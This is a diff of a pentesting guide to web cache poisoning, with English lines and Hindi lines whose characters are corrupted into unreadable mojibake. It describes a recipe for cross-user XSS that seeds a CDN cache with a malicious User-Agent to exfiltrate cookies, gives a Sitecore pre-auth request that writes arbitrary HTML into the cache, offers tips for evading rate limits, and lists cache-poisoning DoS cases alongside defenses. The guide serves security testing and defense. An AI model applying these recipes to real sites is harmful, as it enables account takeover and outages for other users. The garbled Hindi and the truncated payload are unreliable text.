рдХрд╛ рдЙрдкрдпреЛрдЧ web cache poisoning рдХреЗ рд▓рд┐рдП рд╕реНрд╡рддрдГ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рд╣реЗрддреБ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ techniques рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддрд╛ рд╣реИ рдФрд░ highly customizable рд╣реИред +The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -рдпрд╣ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХрд╛ рдкреИрдЯрд░реНрди рдПрдХ header-based reflection primitive рдХреЛ CDN/WAF рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд░реЛрд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ cached HTML рдХреЛ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд░реВрдк рд╕реЗ poison рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ: +This real-world pattern chains a header-based reflection primitive with CDN/WAF behavior to reliably poison the cached HTML served to other users: -- рдореБрдЦреНрдп HTML рдиреЗ рдПрдХ untrusted request header (e.g., `User-Agent`) рдХреЛ executable context рдореЗрдВ reflect рдХрд┐рдпрд╛ред -- CDN рдиреЗ cache headers рдХреЛ strip рдХрд░ рджрд┐рдпрд╛ рдкрд░ internal/origin cache рдореМрдЬреВрдж рдерд╛ред CDN рдиреЗ static extensions (e.g., `.js`) рд╡рд╛рд▓реЗ requests рдХреЛ auto-cache рднреА рдХрд┐рдпрд╛, рдЬрдмрдХрд┐ WAF рдиреЗ static assets рдХреЗ GETs рдХреЗ рд▓рд┐рдП рдХрдо рдХрдбрд╝рд╛рдИ рд╕реЗ content inspection рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ред -- Request flow рдХреЗ quirks рдиреЗ `.js` path рдкрд░ рдПрдХ request рдХреЛ subsequent main HTML рдХреЗ cache key/variant рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреА, рдЬрд┐рд╕рд╕реЗ header reflection рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ cross-user XSS рд╕рдХреНрд╖рдо рд╣реБрдЖред +- The main HTML reflected an untrusted request header (e.g., `User-Agent`) into executable context. +- The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., `.js`), while the WAF applied weaker content inspection to GETs for static assets. +- Request flow quirks allowed a request to a `.js` path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection. Practical recipe (observed across a popular CDN/WAF): -1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace. +1) From a clean IP (avoid prior reputation-based downgrades), set a malicious `User-Agent` via browser or Burp Proxy Match & Replace. 2) In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best): - First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. -- Immediately after: GET the main page (`/`). +- Immediately after: GET the main page (`/`). 3) The CDN/WAF routing race plus the auto-cached `.js` often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same `Vary` dimensions like `User-Agent`). Example header payload (to exfiltrate non-HttpOnly cookies): ``` User-Agent: Mo00ozilla/5.0" ``` -рдСрдкрд░реЗрд╢рдирд▓ рдЯрд┐рдкреНрд╕: +Operational tips: -- рдХрдИ CDNs рдХреИрд╢ рд╣реЗрдбрд░ рдЫреБрдкрд╛рддреЗ рд╣реИрдВ; poisoning рдХрдИ рдШрдВрдЯреЗ рдХреЗ рд░рд┐рдлреНрд░реЗрд╢ рд╕рд╛рдЗрдХрд┐рд▓ рдкрд░ рд╣реА рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИред rate-limit рдпрд╛ reputation рдЯреНрд░рд┐рдЧрд░реНрд╕ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП multiple vantage IPs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ throttle рдХрд░реЗрдВред -- CDN рдХреЗ рдЕрдкрдиреЗ cloud рд╕реЗ рдПрдХ IP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдХрднреАтАСрдХрднреА routing consistency рдмреЗрд╣рддрд░ рд╣реЛрддреА рд╣реИред -- рдЕрдЧрд░ strict CSP рдореМрдЬреВрдж рд╣реИ, рддрдм рднреА рдпрд╣ рддрдм рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм reflection main HTML context рдореЗрдВ execute рд╣реЛ рдФрд░ CSP inline execution рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рдпрд╛ context рджреНрд╡рд╛рд░рд╛ bypass рд╣реЛред +- рдХрдИ CDNs cache headers рдЫрд┐рдкрд╛рддреЗ рд╣реИрдВ; poisoning рдХрдИ рдШрдВрдЯреЗ рдХреЗ refresh cycles рдкрд░ рд╣реА рджрд┐рдЦрд╛рдИ рджреЗ рд╕рдХрддрд╛ рд╣реИред rate-limit рдпрд╛ reputation triggers рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП multiple vantage IPs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ throttle рдХрд░реЗрдВред +- CDN рдХреЗ рдЕрдкрдиреЗ cloud рдХрд╛ IP рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рд╕реЗ рдХрднреА-рдХрднреА routing consistency рдмреЗрд╣рддрд░ рд╣реЛрддреА рд╣реИред +- рдпрджрд┐ strict CSP рдореМрдЬреВрдж рд╣реИ, рддрдм рднреА рдпрд╣ рддрдм рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдЬрдм reflection рдореБрдЦреНрдп HTML context рдореЗрдВ execute рд╣реЛ рдФрд░ CSP inline execution рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рдпрд╛ context рд╕реЗ bypass рд╣реЛ рд╕рдХреЗред -рдкреНрд░рднрд╛рд╡: +Impact: -- рдЕрдЧрд░ session cookies `HttpOnly` рдирд╣реАрдВ рд╣реИрдВ, рддреЛ poisoned HTML рд╕рд░реНрд╡ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА users рд╕реЗ `document.cookie` рдХреЛ mass-exfiltrate рдХрд░рдХреЗ zero-click ATO рд╕рдВрднрд╡ рд╣реИред +- рдпрджрд┐ session cookies arenтАЩt `HttpOnly`, zero-click ATO рд╕рдВрднрд╡ рд╣реИ by mass-exfiltrating `document.cookie` рдЙрди рд╕рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рд╕реЗ рдЬрд┐рдиреНрд╣реЗрдВ poisoned HTML рд╕рд░реНрд╡ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -рд░рдХреНрд╖рд╛: +Defenses: -- request headers рдХреЛ HTML рдореЗрдВ reflect рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ; рдЕрдЧрд░ рдЕрдирд┐рд╡рд╛рд░реНрдп рд╣реЛ рддреЛ рдЙрдиреНрд╣реЗрдВ strictly context-encode рдХрд░реЗрдВред CDN рдФрд░ origin рдХреЗ cache policies рдХреЛ align рдХрд░реЗрдВ рдФрд░ untrusted headers рдкрд░ vary рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВред -- рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WAF `.js` requests рдФрд░ static paths рдкрд░ content inspection рд▓рдЧрд╛рддрд╛рд░ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред -- `HttpOnly` (рдФрд░ `Secure`, `SameSite`) рдХреЛ session cookies рдкрд░ рд╕реЗрдЯ рдХрд░реЗрдВред +- Request headers рдХреЛ HTML рдореЗрдВ reflect рдХрд░рдирд╛ рдмрдВрдж рдХрд░реЗрдВ; рдЕрдЧрд░ рдЕрдкрд░рд┐рд╣рд╛рд░реНрдп рд╣реЛ рддреЛ рд╕рдЦреНрддреА рд╕реЗ context-encode рдХрд░реЗрдВред CDN рдФрд░ origin cache policies рдХреЛ align рдХрд░реЗрдВ рдФрд░ untrusted headers рдкрд░ vary рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВред +- рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ WAF `.js` requests рдФрд░ static paths рдкрд░ content inspection рд▓рдЧрд╛рддрд╛рд░ рд▓рд╛рдЧреВ рдХрд░реЗред +- session cookies рдкрд░ `HttpOnly` (рдФрд░ `Secure`, `SameSite`) рд╕реЗрдЯ рдХрд░реЗрдВред ### Sitecore preтАСauth HTML cache poisoning (unsafe XAML Ajax reflection) -A SitecoreтАСspecific pattern unauthenticated writes рдХреЛ HtmlCache рдореЗрдВ рд╕рдХреНрд╖рдо рдмрдирд╛рддрд╛ рд╣реИ by abusing preтАСauth XAML handlers рдФрд░ AjaxScriptManager reflection. рдЬрдм `Sitecore.Shell.Xaml.WebControl` handler рдкрд╣реБрдВрдЪ рдЬрд╛рддрд╛ рд╣реИ, рддрдм рдПрдХ `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) рдЙрдкрд▓рдмреНрдз рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд reflective call рдХреА рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рддреА рд╣реИ: +A SitecoreтАСspecific pattern enables unauthenticated writes to the HtmlCache by abusing preтАСauth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed: ``` POST /-/xaml/Sitecore.Shell.Xaml.WebControl Content-Type: application/x-www-form-urlencoded __PARAMETERS=AddToCache("key","тАжpayloadтАж")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 ``` -This writes arbitrary HTML under an attackerтАСchosen cache key, enabling precise poisoning once cache keys are known. +рдпрд╣ attackerтАСchosen cache key рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдордирдорд╛рдирд╛ HTML рд▓рд┐рдЦрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ cache keys рдЬреНрдЮрд╛рдд рд╣реЛрдиреЗ рдкрд░ рд╕рдЯреАрдХ poisoning рд╕рдВрднрд╡ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред For full details (cache key construction, ItemService enumeration and a chained postтАСauth deserialization RCE): @@ -216,51 +217,51 @@ For full details (cache key construction, ItemService enumeration and a chained ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}} -## рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдЙрджрд╛рд╣рд░рдг +## рдХрдордЬрд╝реЛрд░ рдЙрджрд╛рд╣рд░рдг ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS рдиреЗ URL рдХреЗ рдЕрдВрджрд░ рдХрд╛ fragment рдмрд┐рдирд╛ strip рдХрд┐рдП рдЖрдЧреЗ рднреЗрдЬ рджрд┐рдпрд╛ рдФрд░ cache key рдХреЗрд╡рд▓ host, path рдФрд░ query рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ (fragment рдХреЛ ignore рдХрд░рддреЗ рд╣реБрдП)ред рдЗрд╕рд▓рд┐рдП request `/#/../?r=javascript:alert(1)` backend рдХреЛ `/#/../?r=javascript:alert(1)` рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдФрд░ cache key рдореЗрдВ payload рдирд╣реАрдВ рдерд╛ тАФ рдХреЗрд╡рд▓ host, path рдФрд░ query рдореМрдЬреВрдж рдереЗред +ATS рдиреЗ URL рдХреЗ рдЕрдВрджрд░ рдХреЗ fragment рдХреЛ strip рдХрд┐рдП рдмрд┐рдирд╛ рдЖрдЧреЗ рднреЗрдЬрд╛ рдФрд░ cache key рдХреЗрд╡рд▓ host, path рдФрд░ query рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ (fragment рдХреЛ ignore рдХрд░рддреЗ рд╣реБрдП)ред рдЗрд╕рд▓рд┐рдП request `/#/../?r=javascript:alert(1)` backend рдХреЛ рдЙрд╕реА рд░реВрдк рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдФрд░ cache key рдореЗрдВ payload рд╢рд╛рдорд┐рд▓ рдирд╣реАрдВ рдерд╛, рдХреЗрд╡рд▓ host, path рдФрд░ query рдереЗред ### GitHub CP-DoS -content-type header рдореЗрдВ рдЧрд▓рдд рдорд╛рди рднреЗрдЬрдиреЗ рдкрд░ 405 cached response рдЯреНрд░рд┐рдЧрд░ рд╣реБрдИред cache key рдореЗрдВ cookie рд╢рд╛рдорд┐рд▓ рдерд╛ рдЗрд╕рд▓рд┐рдП рдпрд╣ рдХреЗрд╡рд▓ unauth users рдкрд░ рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдпреЛрдЧреНрдп рдерд╛ред +content-type header рдореЗрдВ рдЧрд▓рдд value рднреЗрдЬрдиреЗ рдкрд░ 405 cached response рдЯреНрд░рд┐рдЧрд░ рд╣реБрдЖред cache key рдореЗрдВ cookie рд╢рд╛рдорд┐рд▓ рдерд╛ рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдХреЗрд╡рд▓ рдЕрдирдСрде (unauth) рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдкрд░ рд╣реА рдЖрдХреНрд░рдордг рдХреЗ рд▓рд┐рдП рдкреНрд░рдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред ### GitLab + GCP CP-DoS -GitLab static content рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GCP buckets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред GCP Buckets `x-http-method-override` header рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП `x-http-method-override: HEAD` header рднреЗрдЬ рдХрд░ cache рдХреЛ empty response body рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП poison рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛ред рдпрд╣ `PURGE` method рдХреЛ рднреА рд╕рдкреЛрд░реНрдЯ рдХрд░ рд╕рдХрддрд╛ рдерд╛ред +GitLab static content рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП GCP buckets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред **GCP Buckets** **header `x-http-method-override`** рдХреЛ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП header `x-http-method-override: HEAD` рднреЗрдЬрдХрд░ cache рдХреЛ poison рдХрд░ empty response body рд▓реМрдЯрд╡рд╛рдирд╛ рд╕рдВрднрд╡ рдерд╛ред рдпрд╣ `PURGE` method рдХреЛ рднреА рд╕рдкреЛрд░реНрдЯ рдХрд░ рд╕рдХрддрд╛ рдерд╛ред ### Rack Middleware (Ruby on Rails) -Ruby on Rails рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ Rack middleware рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рд╣реЛрддрд╛ рд╣реИред Rack code рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп `x-forwarded-scheme` header рдХрд╛ рдорд╛рди рд▓реЗрдХрд░ рдЙрд╕реЗ request рдХреЗ scheme рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реИред рдЬрдм `x-forwarded-scheme: http` рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ same location рдкрд░ 301 redirect рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕ resource рдХреЗ рд▓рд┐рдП Denial of Service (DoS) рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ, рдПрдкреНрд▓рд┐рдХреЗрд╢рди `X-forwarded-host` header рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпреВрдЬрд╝рд░реНрд╕ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ host рдкрд░ redirect рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ attacker's server рд╕реЗ JavaScript рдлрд╛рдЗрд▓реЗрдВ рд▓реЛрдб рд╣реЛрдиреЗ рдХрд╛ рдЬреЛрдЦрд┐рдо рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +Ruby on Rails applications рдореЗрдВ Rack middleware рдЕрдХреНрд╕рд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред Rack code рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп **`x-forwarded-scheme`** header рдХрд╛ рдорд╛рди рд▓реЗрдХрд░ рдЙрд╕реЗ request рдХреЗ scheme рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реИред рдЬрдм header `x-forwarded-scheme: http` рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрд╕реА рд╕реНрдерд╛рди рдХреЗ рд▓рд┐рдП 301 redirect рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрд╕ resource рдкрд░ рд╕рдВрднрд╛рд╡рд┐рдд Denial of Service (DoS) рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЕрддрд┐рд░рд┐рдХреНрдд рд░реВрдк рд╕реЗ, application `X-forwarded-host` header рдХреЛ рдорд╛рдиреНрдпрддрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИ рдФрд░ users рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ host рдкрд░ redirect рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ attacker рдХреЗ рд╕рд░реНрд╡рд░ рд╕реЗ JavaScript рдлрд╛рдЗрд▓реЗрдВ рд▓реЛрдб рд╣реЛрдиреЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред ### 403 and Storage Buckets -Cloudflare рдкрд╣рд▓реЗ 403 responses рдХреЛ cache рдХрд░рддрд╛ рдерд╛ред рдЧрд▓рдд Authorization headers рдХреЗ рд╕рд╛рде S3 рдпрд╛ Azure Storage Blobs рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░ 403 response рдЖрддрд╛ рдерд╛ рдЬреЛ cached рд╣реЛ рдЬрд╛рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐ Cloudflare рдиреЗ 403 responses рдХреЛ cache рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреНрдп proxy рд╕реЗрд╡рд╛рдУрдВ рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред +Cloudflare рдкрд╣рд▓реЗ 403 responses рдХреЛ cache рдХрд░рддрд╛ рдерд╛ред рдЧрд▓рдд Authorization headers рдХреЗ рд╕рд╛рде S3 рдпрд╛ Azure Storage Blobs рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдкрд░ 403 response рдЖрддрд╛ рдерд╛ рдЬреЛ cached рд╣реЛ рдЬрд╛рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐ Cloudflare рдиреЗ 403 responses рдХреЛ cache рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рд╣реИ, рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рдЕрдиреНрдп proxy services рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред ### Injecting Keyed Parameters -Caches рдЕрдХреНрд╕рд░ cache key рдореЗрдВ specific GET parameters рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Fastly рдХрд╛ Varnish requests рдореЗрдВ `size` parameter рдХреЛ cache рдХрд░рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЕрдЧрд░ parameter рдХрд╛ URL-encoded version (рдЬреИрд╕реЗ `siz%65`) рднреА рдЧрд▓рдд рд╡реИрд▓реНрдпреВ рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЧрдпрд╛, рддреЛ cache key рд╕рд╣реА `size` parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ред рдкрд░ backend URL-encoded parameter рдХреЗ рдорд╛рди рдХреЛ process рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ `size` parameter рдХреЛ URL-encode рдХрд░рдиреЗ рд╕реЗ рдпрд╣ cache рджреНрд╡рд╛рд░рд╛ omit рд╣реЛ рдЬрд╛рддрд╛ рдерд╛ рдкрд░ backend рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рдерд╛ред рдЗрд╕ parameter рдХреЛ 0 рджреЗрдиреЗ рдкрд░ cacheable 400 Bad Request error рдорд┐рд▓ рдЬрд╛рддреА рдереАред +Caches рдЕрдХреНрд╕рд░ cache key рдореЗрдВ рд╡рд┐рд╢реЗрд╖ GET parameters рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Fastly рдХрд╛ Varnish requests рдореЗрдВ `size` parameter рдХреЛ cached рдХрд░рддрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ parameter рдХрд╛ URL-encoded рд╕рдВрд╕реНрдХрд░рдг (рдЬреИрд╕реЗ `siz%65`) рднреА рдЧрд▓рдд value рдХреЗ рд╕рд╛рде рднреЗрдЬрд╛ рдЧрдпрд╛, рддреЛ cache key рд╕рд╣реА `size` parameter рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдлрд┐рд░ рднреА backend URL-encoded parameter рдореЗрдВ рджреА рдЧрдИ value рдХреЛ process рдХрд░реЗрдЧрд╛ред рджреВрд╕рд░реЗ `size` parameter рдХреЛ URL-encode рдХрд░рдиреЗ рд╕реЗ cache рдЙрд╕реЗ рдЫреЛрдбрд╝ рджреЗрддрд╛ рдерд╛ рдкрд░ backend рдЙрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рдерд╛ред рдЗрд╕ parameter рдХреЛ 0 рджреЗрдиреЗ рдкрд░ рдПрдХ cacheable 400 Bad Request error рдмрди рдЬрд╛рддреА рдереАред ### User Agent Rules -рдХреБрдЫ рдбреЗрд╡рд▓рдкрд░реНрд╕ high-traffic tools рдЬреИрд╕реЗ FFUF рдпрд╛ Nuclei рдХреЗ user-agents рд╡рд╛рд▓реЗ requests рдХреЛ server load manage рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП block рдХрд░рддреЗ рд╣реИрдВред Ironically, рдпрд╣ рддрд░реАрдХрд╛ cache poisoning рдФрд░ DoS рдЬреИрд╕реА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд▓рд╛ рд╕рдХрддрд╛ рд╣реИред +рдХреБрдЫ developers high-traffic tools рдЬреИрд╕реЗ FFUF рдпрд╛ Nuclei рдХреЗ user-agents рд╕реЗ рдореЗрд▓ рдЦрд╛рдиреЗ рд╡рд╛рд▓реЗ requests рдХреЛ server load рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП block рдХрд░рддреЗ рд╣реИрдВред рд╡рд┐рдбрдВрдмрдирд╛ рдпрд╣ рд╣реИ рдХрд┐ рдпрд╣ рддрд░реАрдХрд╛ cache poisoning рдФрд░ DoS рдЬреИрд╕реА рдХрдордЬреЛрд░рд┐рдпрд╛рдБ рд▓рд╛ рд╕рдХрддрд╛ рд╣реИред ### Illegal Header Fields -[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header names рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░реНрдп characters рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред рдРрд╕реЗ headers рдЬрд┐рдирдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **tchar** range рдХреЗ рдмрд╛рд╣рд░ рдХреЗ characters рд╣реЛрдВ, ideally 400 Bad Request response рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛ рдореЗрдВ, рд╕рд░реНрд╡рд░ рд╣рдореЗрд╢рд╛ рдЗрд╕ standard рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддреЗред рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг Akamai рд╣реИ, рдЬреЛ invalid characters рд╡рд╛рд▓реЗ headers рдХреЛ рдЖрдЧреЗ рднреЗрдЬрддрд╛ рд╣реИ рдФрд░ рдХрд┐рд╕реА рднреА 400 error рдХреЛ cache рдХрд░ рджреЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ рдХрд┐ `cache-control` header рдореМрдЬреВрдж рди рд╣реЛред рдПрдХ exploitable pattern рдореЗрдВ illegal character рднреЗрдЬрдиреЗ (рдЬреИрд╕реЗ `\`) рдкрд░ cacheable 400 Bad Request error рдорд┐рд▓рддреА рдереАред +[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) header names рдореЗрдВ рд╕реНрд╡реАрдХрд╛рд░реНрдп characters рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИред Headers рдЬрд┐рдирдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ **tchar** рд╕реАрдорд╛ рдХреЗ рдмрд╛рд╣рд░ рдХреЗ characters рд╣реЛрддреЗ рд╣реИрдВ, рдЖрджрд░реНрд╢ рд░реВрдк рд╕реЗ 400 Bad Request response рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ, servers рд╣рдореЗрд╢рд╛ рдЗрд╕ рдорд╛рдирдХ рдХрд╛ рдкрд╛рд▓рди рдирд╣реАрдВ рдХрд░рддреЗред рдПрдХ рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рдЙрджрд╛рд╣рд░рдг Akamai рд╣реИ, рдЬреЛ invalid characters рд╡рд╛рд▓реЗ headers рдХреЛ forward рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреЛрдИ рднреА 400 error cache рдХрд░ рд▓реЗрддрд╛ рд╣реИ, рдмрд╢рд░реНрддреЗ `cache-control` header рдореМрдЬреВрдж рди рд╣реЛред рдПрдХ exploitable рдкреИрдЯрд░реНрди рдРрд╕рд╛ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдЬрд╣рд╛рдБ `\` рдЬреИрд╕реЗ illegal character рд╡рд╛рд▓реЗ header рднреЗрдЬрдиреЗ рд╕реЗ cacheable 400 Bad Request error рдмрди рдЬрд╛рддреА рдереАред -### Finding new headers +### рдирдП headers рдвреВрдБрдврдирд╛ 